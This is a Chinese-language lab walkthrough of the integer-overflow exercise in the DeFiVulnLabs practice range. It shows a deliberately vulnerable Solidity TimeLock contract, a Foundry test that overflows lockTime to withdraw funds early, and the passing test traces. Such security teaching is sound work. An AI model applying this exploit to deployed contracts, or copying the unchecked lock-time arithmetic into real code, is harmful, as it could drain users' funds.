# DeFiVulnLabs靶场（一）溢出漏洞1

[DeFiVulnLabs详解汇总 \[作者 Ice ThirdSpace\]](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&__biz=MzkwMTc2MDE3OA==&scene=1&album_id=3648797921547190277&count=3&uin=&key=&devicetype=Windows+XP1&version=6302019c&lang=zh_CN&ascene=1&fontgear=2)

[DeFiVulnLabs靶场全系列详解（一）溢出漏洞](https://mp.weixin.qq.com/s?__biz=MzkwMTc2MDE3OA==&mid=2247483698&idx=1&sn=3e0fd1bd262c54f297430480fa606e88&chksm=c0ae94eff7d91df9a0de9214c942732f7344a6e4f8871bfb43cfbd22dbea17e314d89766f51a&scene=178&cur_album_id=3648797921547190277&search_click_id=#rd)

* EXP
    

[https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Overflow.sol](https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Overflow.sol)

* 漏洞合约源代码
    

```plaintext
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;// 版本号小于 8.0

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease; // 时间锁增加，整数上溢出
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(
            block.timestamp > lockTime[msg.sender],
            "Lock time not expired"
        );

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
```

* 攻击合约
    

```plaintext
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// this need to be older version of solidity from 0.8.0 solidty compiler checks for overflow and underflow

pragma abicoder v2;

import "../src/Overflow.sol";
import "forge-std/Test.sol";

contract ContractTest is Test {
    TimeLock TimeLockContract;
    address alice;
    address bob;

    function setUp() public {
        TimeLockContract = new TimeLock();
        alice = vm.addr(1);
        bob = vm.addr(2);
        vm.deal(alice, 1 ether);
        vm.deal(bob, 1 ether);
    }

    function testOverflowA() public {
        console.log("Alice balance", alice.balance);
        console.log("Bob balance", bob.balance);

        vm.startPrank(alice); 
        TimeLockContract.deposit{value: 1 ether}();
        console.log("Alice before balance", alice.balance);

        vm.expectRevert("Lock time not expired");
        TimeLockContract.withdraw();

        console.log("Alice after balance", alice.balance);
        vm.stopPrank();
    }
        
    function testOverflowB() public {
        vm.startPrank(bob);
        TimeLockContract.deposit{value: 1 ether}();
        console.log("Bob before balance", bob.balance);

        TimeLockContract.increaseLockTime(
            type(uint).max + 1 - TimeLockContract.lockTime(bob)// type(T).max 类型 T 可表示的最大值
        );

        TimeLockContract.withdraw();
        console.log("Bob after balance", bob.balance);
        vm.stopPrank();
    }
}
```

为了测试\[整数溢出\]，编译器版本0.7.6。在Solidity0.8.0之前，默认是ABIEncoderV1，所以需要添加

pragma abicoder v2; 否则会报错

```plaintext
$ forge test Overflow.t.sol 
Compiler run failed:
Error (6594): Contract "ContractTest" does not use ABI coder v2 but wants to inherit from a contract which uses types that require it. Use "pragma abicoder v2;" for the inheriting contract as well to enable the feature.
```

* 测试结果
    

```plaintext
$ forge test Overflow.t.sol -vvvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.7.6
[?] Solc 0.7.6 finished in 3.46s
Compiler run successful!

Ran 2 tests for test/Overflow.t.sol:ContractTest
[PASS] testOverflowA() (gas: 77821)
Logs:
  Alice balance 1000000000000000000
  Bob balance 1000000000000000000
  Alice before balance 0
  Alice after balance 0

Traces:
  [77821] ContractTest::testOverflowA()
    ├─ [0] console::log("Alice balance", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log("Bob balance", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← [Return]
    ├─ [44615] TimeLock::deposit{value: 1000000000000000000}()
    │   └─ ← [Stop]
    ├─ [0] console::log("Alice before balance", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::expectRevert(custom error 0xf28dceb3:  Lock time not expired)
    │   └─ ← [Return]
    ├─ [827] TimeLock::withdraw()
    │   └─ ← [Revert] Lock time not expired
    ├─ [0] console::log("Alice after balance", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    └─ ← [Stop]

[PASS] testOverflowB() (gas: 78780)
Logs:
  Bob before balance 0
  Bob after balance 1000000000000000000

Traces:
  [103741] ContractTest::testOverflowB()
    ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
    │   └─ ← [Return]
    ├─ [44615] TimeLock::deposit{value: 1000000000000000000}()
    │   └─ ← [Stop]
    ├─ [0] console::log("Bob before balance", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [858] TimeLock::lockTime(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 604801 [6.048e5]
    ├─ [750] TimeLock::increaseLockTime(115792089237316195423570985008687907853269984665640564039457584007913129035135 [1.157e77])
    │   └─ ← [Stop]
    ├─ [33054] TimeLock::withdraw()
    │   ├─ [0] 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF::fallback{value: 1000000000000000000}()
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [0] console::log("Bob after balance", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 22.38ms (2.76ms CPU time)

Ran 1 test suite in 244.79ms (22.38ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
```

* 主要参考文章
    

```plaintext
https://learnblockchain.cn/docs/solidity/units-and-global-variables.html

https://learnblockchain.cn/article/5866
```
